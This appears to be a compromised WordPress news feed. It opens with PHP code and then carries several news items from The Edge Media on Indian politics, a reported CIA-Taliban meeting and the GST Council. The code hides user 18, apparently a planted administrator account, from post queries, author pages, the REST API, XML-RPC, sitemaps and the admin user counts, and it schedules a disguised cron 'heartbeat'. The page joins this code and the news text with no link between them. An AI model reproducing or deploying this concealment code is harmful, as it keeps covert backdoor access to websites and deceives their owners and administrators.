add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi to disscuss Covid situation with CMs appeared first on The Edge Media.
]]>The Covid related measures and situation will be discussed at 4:30 PM via video conferencing. While Reviewing the situation at the High-level meeting PM Modi called for ensuring an adequate amount of health infrastructure in every state at the district level along with accelerating vaccination drive, working in mission mode.
Public health response and state-specific scenarios will be discussed with CMs
The post PM Modi to disscuss Covid situation with CMs appeared first on The Edge Media.
]]>The post CIA Chief Held Secret Meeting Yesterday With Taliban In Kabul: Report appeared first on The Edge Media.
]]>The Monday meeting, which if confirmed will have been the highest-level encounter between the Islamist group and the Biden administration since the militants’ return to power, came as efforts to evacuate thousands of people from Taliban-controlled Afghanistan became increasingly urgent.
Burns is one of US President Joe Biden’s most experienced diplomats; while Baradar, who headed the Taliban’s political office in Qatar, is one of the top leaders in the regime that has taken power in Kabul.
A spokesperson for the CIA would not confirm the meeting to AFP, saying that the agency “never discusses the director’s travels.”
The post CIA Chief Held Secret Meeting Yesterday With Taliban In Kabul: Report appeared first on The Edge Media.
]]>The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>“The respected Prime Minister has granted time at 11 am the day after tomorrow. An entire list of the delegation has been sent to him and also members of the ten parties going to the meeting,” Mr Kumar told reporters in Patna today.
“Right now, we are going to request that the Census must be conducted based on caste. It is up to the Centre to decide,” he said.
If such an exercise is conducted for the whole nation, the Chief Minister said, it would be “very beneficial”. He told media persons that there was demand everywhere for such an exercise.
The idea of such a delegation was mooted by the Mahagatbandhan alliance led by Mr Yadav, which had formally urged the Chief Minister to seek an appointment with PM Modi.
The BJP, an ally in Mr Kumar’s NDA regime in Bihar, has named Mr Ram as its representative in the delegation and not the Deputy Chief Ministers it has in the government.
This is significant and shows that PM Modi’s party doesn’t want to miss the caste-based Census bus. Yet, it is also signalling to its upper castes constituency that the party was being coerced into joining the delegation even though it was not important enough for senior leaders to be part of.
On August 9, Mr Kumar had said that if the Central government does not hold such a Census, a discussion may be initiated in the state on carrying out an exercise to enumerate caste data in Bihar. His statement came days after failing to elicit any response to a letter he wrote to PM Modi on the matter.
A few days later, Mr Yadav said the Prime Minister had insulted Chief Minister Kumar by not granting him the time sought to meet and discuss the matter.
Fresh demands for a caste-based Census have been triggered by a statement by the Centre in Parliament recently that an exercise to ascertain the population of only Scheduled Castes and Scheduled Tribes was under consideration.
The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>The post GST Council’s next meeting to be held on May 28: Finance Ministry appeared first on The Edge Media.
]]>The GST council last met on October 5, 2020 to finalise the outline o borrowings by state to meet the shortfall in the tax revenues. The meeting was further extended and ended on October 12, 2020. The Union Chief Minister Nirmala Sitharaman will chair the 43rd meeting of the council. It was tweeted by her office.
Smt @nsitharaman will chair the 43rd GST Council meeting via video conferencing at 11 AM in New Delhi on 28th May 2021. The meeting will be attended by MOS Shri @ianuragthakur besides Finance Ministers of States & UTs and Senior officers from Union Government & States.
— NSitharamanOffice (@nsitharamanoffc) May 15, 2021
Opposition parties of the states have been continuously complaining about not holding the GST Council meeting in the recent weeks. West Bengal Finance Minister Amit Mitra wrote to Sitharaman earlier this week regarding the urgent need of the council meetings. He wrote that when GST was implemented, the states were promised that they will be compensated against any downfall in the tax revenues.
The post GST Council’s next meeting to be held on May 28: Finance Ministry appeared first on The Edge Media.
]]>